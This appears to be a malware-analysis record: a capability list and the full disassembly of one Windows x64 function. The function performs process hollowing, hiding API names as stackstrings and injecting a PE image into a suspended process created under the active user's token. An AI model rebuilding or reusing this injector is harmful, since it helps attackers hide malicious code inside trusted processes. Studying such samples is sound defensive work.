Function at 0x14008451c
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [0x1400b8158]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor r13d, r13d
mov r14, r8
mov sil, r13b
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov rdi, rdx
mov r15, rcx
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, eax
lea rdx, [rsp + 0x68]
call fcn.14008572c
test al, al
je 0x140084a0d
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140084a0d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x28], rax
lea r9d, [r13 + 2]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1400849fd
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x78]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x1400849d8
lea rcx, [rbp + 0x18]
mov dword [rbp + 0x1c], 0x32336c65
mov word [rbp + 0x19], 0x7265
mov dword [rbp + 0x20], 0x6c6c642e
mov byte [rbp + 0x18], 0x4b
mov byte [rbp + 0x1b], WSASetLastError
mov byte [rbp + 0x24], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x140084a44
lea rdx, [rbp + 0x88]
mov dword [rbp + 0x88], 0x64616552
mov rcx, rax
mov dword [rbp + 0x8e], 0x7365636f
mov dword [rbp + 0x93], 0x6f6d654d
mov word [rbp + 0x97], 0x7972
mov byte [rbp + 0x92], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x99], r13b
mov word [rbp + 0x8c], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r12d, [r13 + 0x68]
mov dword [rbp + 0x5d], 0x64616572
lea rdx, [rbp + 0x58]
mov byte [rbp + 0x5c], r12b
mov rcx, rbx
mov dword [rbp + 0x65], 0x747865
mov dword [rbp + 0x61], 0x746e6f43
mov dword [rbp + 0x58], 0x54746547
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x48]
mov dword [rbp + 0x4b], 0x6c617574
mov rcx, rbx
mov word [rbp + 0x50], 0x6c6c
mov dword [rbp + 0x53], 0x784563
mov word [rbp + 0x49], 0x7269
mov byte [rbp + 0x52], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x48], 0x56
mov byte [rbp + 0x4f], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x28]
mov dword [rbp + 0x31], 0x636f6c
mov rcx, rbx
mov word [rbp + 0x28], 0x6956
mov dword [rbp + 0x2b], 0x6c617574
mov byte [rbp + 0x2a], WSACleanup
mov word [rbp + 0x2f], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp]
mov word [rbp + 4], 0x5065
mov rcx, rbx
mov word [rbp + 0xd], 0x6d65
mov word [rbp + 0xa], 0x7373
mov word [rbp + 7], 0x636f
mov dword [rbp], 0x74697257
mov dword [rbp + 0xf], 0x79726f
mov byte [rbp + 6], WSACleanup
mov byte [rbp + 0xc], Ordinal_79
mov byte [rbp + 9], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x70]
mov dword [rbp + 0x77], 0x6f436461
mov rcx, rbx
mov dword [rbp + 0x7c], 0x74786574
mov dword [rbp + 0x70], 0x54746553
mov byte [rbp + 0x80], r13b
mov word [rbp + 0x74], 0x7268
mov byte [rbp + 0x76], 0x65
mov byte [rbp + 0x7b], WSASetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x38]
mov word [rbp + 0x39], 0x7365
mov rcx, rbx
mov word [rbp + 0x3f], 0x7268
mov word [rbp + 0x3c], 0x656d
mov word [rbp + 0x42], 0x6461
mov byte [rbp + 0x41], 0x65
mov byte [rbp + 0x3b], 0x75
mov byte [rbp + 0x38], 0x52
mov byte [rbp + 0x3e], 0x54
mov byte [rbp + 0x44], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x1400849d8
movsxd rbx, dword [r15 + 0x3c]
add rbx, r15
cmp dword [rbx], 0x4550
jne 0x1400849d8
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov eax, dword [rsp + 0x70]
mov ecx, 0x14c
cmp word [rbx + 4], cx
jne 0x1400847e2
test eax, eax
jne 0x140084a44
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x1400847f6
cmp eax, 6
jne 0x140084a44
xor eax, eax
lea rcx, [rbp - 0x70]
mov r8, r12
mov qword [rbp], rax
xor edx, edx
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], rax
call fcn.140057cb0
mov rcx, qword [rsp + 0x60]
lea rax, [rbp]
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], r12d
mov qword [rsp + 0x48], rax
mov r8, r14
mov rax, qword [rsp + 0x78]
mov rdx, rdi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r13w
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x1400849d8
mov edx, listen
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 8]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp]
test eax, eax
je 0x140084a3a
mov rdx, qword [rdi + 0x88]
lea r8, [rbp - 0x80]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, 8
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rbp - 0x80]
lea r12, [rbx + 0x30]
cmp rax, qword [r12]
jne 0x1400848ff
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp]
call rax
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rbp]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rbp]
mov r14, rax
test rax, rax
je 0x140084a3a
mov r9d, dword [rbx + 0x54]
mov r8, r15
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
xor ecx, ecx
cmp cx, word [rbx + 6]
jae 0x14008498d
lea rsi, [rbx + 0x2c]
add rsi, rax
xor r12d, r12d
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
add r8, r15
mov r9d, dword [rsi - 4]
add rdx, r14
mov rcx, qword [rbp]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
add rsi, 0x28
inc r13d
cmp r13d, eax
jl 0x14008495a
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
xor r13d, r13d
mov rcx, qword [rbp]
add rdx, 0x10
mov r8, r12
mov qword [rsp + 0x20], r13
lea r9d, [r13 + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r14
mov qword [rdi + 0x80], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov sil, 1
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400849e8
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400849fd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], r13
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140084a0d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, sil
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140054fe0
mov rbx, qword [rsp + 0x208]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400849d8
xor al, al
jmp 0x140084a10